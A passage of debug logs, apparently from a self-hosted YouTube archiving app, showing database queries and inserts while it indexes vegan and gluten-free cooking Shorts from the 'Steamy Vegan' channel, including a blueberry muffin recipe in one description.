s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:12.574 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=3.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-15 20:00:15Z], 1] 20:28:12.576 [debug] QUERY OK source="media_items" db=1.2ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["🫐 Celebrate blueberry season with these Cardamom Blueberry Muffins! 🫐 I've made them vegan and gluten-free and I absolutely love them!!! Recipe below...\n\nSAVE THIS RECIPE ✔️and SUBSCRIBE for more! I'll be launching a full recipe video next week for these!\n\nINGREDIENTS:\n1.5 cups fresh whole blueberries\n2 cups gluten-free all-purpose flour (use plain or whole wheat if not gluten-free)\n2.5 tsp baking powder\n1/2 tsp baking soda\n1/2 tsp salt\n1/2 tsp xanthan gum\n2 tsp cardamom\n3 tbsp melted vegan butter\n4 tbsp coconut sugar\n1 tsp vanilla extract\n2 flax eggs (2 tbsp ground flax + 6 tbsp water, let sit for 10 min)\n1 1/4 cup vanilla coconut yogurt\n1/4 cup non-dairy milk\nTurbinado sugar for garnish\n\nInto a large bowl sift in your flour, baking powder and soda, salt, cardamom and coconut sugar until no lumps remain. Whisk until well combined and fluffy. \nTo another bowl, add your nondairy vanilla yogurt, flax egg, melted vegan butter or coconut oil, nondairy milk, and vanilla extract and whisk until it’s a thick, well combined mixture. Pour into the dry ingredients and mix together until the batter has just started to combine. \n\nToss your fresh blueberries in a tablespoon of tapioca/cornstarch and slowly mix them into the batter. \n\nLine your muffin tin with parchment liners or with a spritz of baking spray and fill them up until just above the liner. Give each muffin a sprinkle of turbinado sugar and bake for 30 mins @ 350ºF. ENJOY! \n\nCheck out my other muffin recipes below! 👇🏻\nAPPLE MATCHA ZUCCHINI MUFFINS: https://youtu.be/rbgmMCjH64o\nTURMERIC GINGER MUFFINS: https://youtube.com/shorts/xGgou0Oyv_w?feature=share", "The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts", "12521f99-fb78-4194-a651-bea5a3b42847", 1, [], 60, false, "bOndE1xhA6Q", "https://www.youtube.com/shorts/bOndE1xhA6Q", 306, "/downloads/downloads/alec/Steamy Vegan/2022-07-15 The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts/The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts [bOndE1xhA6Q].NA", false, false, true, 0, ~U[2022-07-15 20:00:15Z], ~U[2026-03-22 03:28:12Z], ~U[2026-03-22 03:28:12Z], "🫐 Celebrate blueberry season with these Cardamom Blueberry Muffins! 🫐 I've made them vegan and gluten-free and I absolutely love them!!! Recipe below...\n\nSAVE THIS RECIPE ✔️and SUBSCRIBE for more! I'll be launching a full recipe video next week for these!\n\nINGREDIENTS:\n1.5 cups fresh whole blueberries\n2 cups gluten-free all-purpose flour (use plain or whole wheat if not gluten-free)\n2.5 tsp baking powder\n1/2 tsp baking soda\n1/2 tsp salt\n1/2 tsp xanthan gum\n2 tsp cardamom\n3 tbsp melted vegan butter\n4 tbsp coconut sugar\n1 tsp vanilla extract\n2 flax eggs (2 tbsp ground flax + 6 tbsp water, let sit for 10 min)\n1 1/4 cup vanilla coconut yogurt\n1/4 cup non-dairy milk\nTurbinado sugar for garnish\n\nInto a large bowl sift in your flour, baking powder and soda, salt, cardamom and coconut sugar until no lumps remain. Whisk until well combined and fluffy. \nTo another bowl, add your nondairy vanilla yogurt, flax egg, melted vegan butter or coconut oil, nondairy milk, and vanilla extract and whisk until it’s a thick, well combined mixture. Pour into the dry ingredients and mix together until the batter has just started to combine. \n\nToss your fresh blueberries in a tablespoon of tapioca/cornstarch and slowly mix them into the batter. \n\nLine your muffin tin with parchment liners or with a spritz of baking spray and fill them up until just above the liner. Give each muffin a sprinkle of turbinado sugar and bake for 30 mins @ 350ºF. ENJOY! \n\nCheck out my other muffin recipes below! 👇🏻\nAPPLE MATCHA ZUCCHINI MUFFINS: https://youtu.be/rbgmMCjH64o\nTURMERIC GINGER MUFFINS: https://youtube.com/shorts/xGgou0Oyv_w?feature=share", "The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts", 1, 60, false, "bOndE1xhA6Q", "https://www.youtube.com/shorts/bOndE1xhA6Q", "/downloads/downloads/alec/Steamy Vegan/2022-07-15 The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts/The best blueberry muffins ever!!! ❤️🤤🫐Vegan and gluten free #shorts #youtubeshorts [bOndE1xhA6Q].NA", true, ~U[2022-07-15 20:00:15Z]] 20:28:12.576 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:12.577 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:12.578 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [695] 20:28:12.578 [debug] Current batch of media processed. Will check again in 1000ms 20:28:13.579 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I'd drink that chocolate river if it was vegan and gluten free. I absolutely love cooking all kinds of vegan and gluten free chocolate recipes and you can find them on my channel. Make sure to subscribe so you can check out some of my upcoming chocolate recipes!!! Thanks for your support. Janelle", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-15 I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts/I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts [b-QKmDxBnwE].NA", "id" => "b-QKmDxBnwE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/b-QKmDxBnwE", "playlist_index" => 307, "timestamp" => 1657908018, "title" => "I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts", "upload_date" => "20220715"} 20:28:13.580 [debug] QUERY OK source="sources" db=0.4ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:13.581 [debug] QUERY OK source="sources" db=0.5ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:13.583 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-15 18:00:18Z], 1] 20:28:13.585 [debug] QUERY OK source="media_items" db=1.9ms idle=285.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'd drink that chocolate river if it was vegan and gluten free. I absolutely love cooking all kinds of vegan and gluten free chocolate recipes and you can find them on my channel. Make sure to subscribe so you can check out some of my upcoming chocolate recipes!!! Thanks for your support. Janelle", "I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts", "c00d4390-a80e-4f49-be81-553ff2779316", 1, [], 12, false, "b-QKmDxBnwE", "https://www.youtube.com/shorts/b-QKmDxBnwE", 307, "/downloads/downloads/alec/Steamy Vegan/2022-07-15 I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts/I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts [b-QKmDxBnwE].NA", false, false, true, 1, ~U[2022-07-15 18:00:18Z], ~U[2026-03-22 03:28:13Z], ~U[2026-03-22 03:28:13Z], "I'd drink that chocolate river if it was vegan and gluten free. I absolutely love cooking all kinds of vegan and gluten free chocolate recipes and you can find them on my channel. Make sure to subscribe so you can check out some of my upcoming chocolate recipes!!! Thanks for your support. Janelle", "I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts", 1, 12, false, "b-QKmDxBnwE", "https://www.youtube.com/shorts/b-QKmDxBnwE", "/downloads/downloads/alec/Steamy Vegan/2022-07-15 I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts/I’d drink that chocolate river too, Mr. Wonka. No regrets 🍫 🤤 ❤️#shorts #youtubeshorts [b-QKmDxBnwE].NA", true, ~U[2022-07-15 18:00:18Z]] 20:28:13.586 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:13.586 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:13.587 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [696] 20:28:13.587 [debug] Current batch of media processed. Will check again in 1000ms 20:28:14.588 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "What I ate for lunch today as a vegan: 🥪🧀🧅🌶 TOFU GRILLED CHEESE! #nomnom \n\nHere’s an easy peasy lunch idea for you! Save this for later ✔️ 😋\nYour fave bread (@carbonautbaking)\nVegan mayo \nVegan mozza \nDijon mustard \nHomemade pickled onions + jalapeños (recipes in previous reels) 🧅🌶\nExtra firm tofu pan-fried in soy sauce (@bragg) and nutritional yeast \n\nPut it together and what have you got — bippity boppity BOOM 💥 This was a dope-tastic sandwich. \n\nHave a great rest of your week and eats lots of yummy food! 😋🌱", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-15 What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts/What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts [drVtooFb6Hw].NA", "id" => "drVtooFb6Hw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/drVtooFb6Hw", "playlist_index" => 308, "timestamp" => 1657897231, "title" => "What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts", "upload_date" => "20220715"} 20:28:14.589 [debug] QUERY OK source="sources" db=0.5ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:14.590 [debug] QUERY OK source="sources" db=0.4ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:14.592 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-15 15:00:31Z], 1] 20:28:14.593 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I ate for lunch today as a vegan: 🥪🧀🧅🌶 TOFU GRILLED CHEESE! #nomnom \n\nHere’s an easy peasy lunch idea for you! Save this for later ✔️ 😋\nYour fave bread (@carbonautbaking)\nVegan mayo \nVegan mozza \nDijon mustard \nHomemade pickled onions + jalapeños (recipes in previous reels) 🧅🌶\nExtra firm tofu pan-fried in soy sauce (@bragg) and nutritional yeast \n\nPut it together and what have you got — bippity boppity BOOM 💥 This was a dope-tastic sandwich. \n\nHave a great rest of your week and eats lots of yummy food! 😋🌱", "What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts", "b4f7f406-f55d-4705-a897-ac4d8112e351", 1, [], 15, false, "drVtooFb6Hw", "https://www.youtube.com/shorts/drVtooFb6Hw", 308, "/downloads/downloads/alec/Steamy Vegan/2022-07-15 What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts/What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts [drVtooFb6Hw].NA", false, false, true, 2, ~U[2022-07-15 15:00:31Z], ~U[2026-03-22 03:28:14Z], ~U[2026-03-22 03:28:14Z], "What I ate for lunch today as a vegan: 🥪🧀🧅🌶 TOFU GRILLED CHEESE! #nomnom \n\nHere’s an easy peasy lunch idea for you! Save this for later ✔️ 😋\nYour fave bread (@carbonautbaking)\nVegan mayo \nVegan mozza \nDijon mustard \nHomemade pickled onions + jalapeños (recipes in previous reels) 🧅🌶\nExtra firm tofu pan-fried in soy sauce (@bragg) and nutritional yeast \n\nPut it together and what have you got — bippity boppity BOOM 💥 This was a dope-tastic sandwich. \n\nHave a great rest of your week and eats lots of yummy food! 😋🌱", "What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts", 1, 15, false, "drVtooFb6Hw", "https://www.youtube.com/shorts/drVtooFb6Hw", "/downloads/downloads/alec/Steamy Vegan/2022-07-15 What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts/What I eat for lunch as a vegan 🌱 (tofu grilled cheese) #youtubeshorts #shorts [drVtooFb6Hw].NA", true, ~U[2022-07-15 15:00:31Z]] 20:28:14.594 [debug] QUERY OK source="sources" db=0.5ms idle=293.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:14.594 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:14.595 [debug] QUERY OK source="media_items" db=0.4ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [697] 20:28:14.595 [debug] Current batch of media processed. Will check again in 1000ms 20:28:15.545 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:15.596 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Subscribe to the channel and start baking vegan and gluten free brownies, muffins, chocolate clusters, strawberry rhubarb pie and so much more. I'm currently working on several vegan and gf blueberry muffin and blueberry crumble dishes and can't wait for you to see them soon!\n\nThanks for your support! Janelle", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-14 These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts/These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts [ZCshEcRY8pY].NA", "id" => "ZCshEcRY8pY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ZCshEcRY8pY", "playlist_index" => 309, "timestamp" => 1657836030, "title" => "These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts", "upload_date" => "20220714"} 20:28:15.597 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:15.598 [debug] QUERY OK source="sources" db=0.4ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:15.600 [debug] QUERY OK source="media_items" db=1.6ms idle=1002.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-14 22:00:30Z], 1] 20:28:15.607 [debug] QUERY OK source="media_items" db=6.2ms idle=298.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Subscribe to the channel and start baking vegan and gluten free brownies, muffins, chocolate clusters, strawberry rhubarb pie and so much more. I'm currently working on several vegan and gf blueberry muffin and blueberry crumble dishes and can't wait for you to see them soon!\n\nThanks for your support! Janelle", "These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts", "ae6cfb35-2e73-4e93-88cb-c27dbc328377", 1, [], 12, false, "ZCshEcRY8pY", "https://www.youtube.com/shorts/ZCshEcRY8pY", 309, "/downloads/downloads/alec/Steamy Vegan/2022-07-14 These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts/These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts [ZCshEcRY8pY].NA", false, false, true, 0, ~U[2022-07-14 22:00:30Z], ~U[2026-03-22 03:28:15Z], ~U[2026-03-22 03:28:15Z], "Subscribe to the channel and start baking vegan and gluten free brownies, muffins, chocolate clusters, strawberry rhubarb pie and so much more. I'm currently working on several vegan and gf blueberry muffin and blueberry crumble dishes and can't wait for you to see them soon!\n\nThanks for your support! Janelle", "These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts", 1, 12, false, "ZCshEcRY8pY", "https://www.youtube.com/shorts/ZCshEcRY8pY", "/downloads/downloads/alec/Steamy Vegan/2022-07-14 These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts/These vegan and gf desserts are just the best! 🤤❤️🍫#shorts #youtubeshorts [ZCshEcRY8pY].NA", true, ~U[2022-07-14 22:00:30Z]] 20:28:15.607 [debug] QUERY OK source="sources" db=0.3ms idle=62.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:15.608 [debug] QUERY OK source="media_profiles" db=0.2ms idle=10.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", 